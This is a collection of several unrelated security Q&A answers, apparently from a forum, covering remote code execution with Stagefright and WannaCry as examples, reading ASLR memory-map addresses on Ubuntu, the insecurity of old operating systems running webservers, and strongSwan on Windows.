As schroeder already said, it depends on what exactly you are attacking. What you describe is essentially "Remote Code Execution". You want remote access to a device, without user interaction being neccessary. In this case, you need some kind of bug in a component which can be reached from outside, allowing you to send malicious data and cause unintended behaviour.

Take a look at Stagefright for example. It was a flaw in the way Android handles MMS. Sending a specific forged MMS could exploit this flaw and gain access to the device.

WannaCry was a little bit different. Afaik it used two ways of distribution. Either simple mechanisms like executing an .exe file, unconsciously activating Word macros, etc. OR by exploiting a bug in the Windows OS, which was unknown until then, as the NSA held it back. This bug allowed it to spread on its own by scanning reachable hosts for the vulnerability and installing itself on them, using an exploit for said bug.

Unknown bugs which can be used to gain remote code execution are extremely dangerous. Here in Germany, the company "Deutsche Bahn" was neraly shut down due to many many machines being infected (even the screens in the train station telling about delays and plans).


Trying to understand ASLR in Ubuntu 16.04

The starting and ending address fffdd000-ffffe000 is what should change at every execution with ASLR enabled. You should see a different address here every time you run the program. The 00000000 is the offset in the file that this region was mapped from (which is not affected by ASLR) - if it wasn't mapped from a file, it is always 0.


Can an old operating system webserver be made secure?

Probably not.  In order to respond to HTTP requests, the operating system must be able to run a TCP/IP stack, process packets, and complete a TCP handshake, all requiring the system to utilize or spawn threads in memory, call libraries, etc.  Therefore, the system would still be susceptible to protocol attacks it may not be patched for (TCP sequence prediction is one that comes to mind for a web server that might run on Win98).

You could compile and run a modern server like nginx or Apache (probably would have to heavily modify it, as it won't run on Win98 out of the box), but older operating systems being on a network are inherently prone to network probing and network attacks.  Even if TCP 80 were port forwarded through a firewall, the web server process would still be running inside of a system lacking modern protections like DEP, ASLR, etc.


strongSwan has been ported to Windows 7 / Server 2008 R2 and newer with its 5.2.0 release. It may be built using the MinGW toolchain (either on Windows or Linux) with a specialized set of plugins providing access to e.g. the Windows IPsec and networking stack. It also relies on the new swanctl configuration and control interface (instead of the more commonly known ipsec.conf based configuration).

The wiki page has more on this (including known limitations).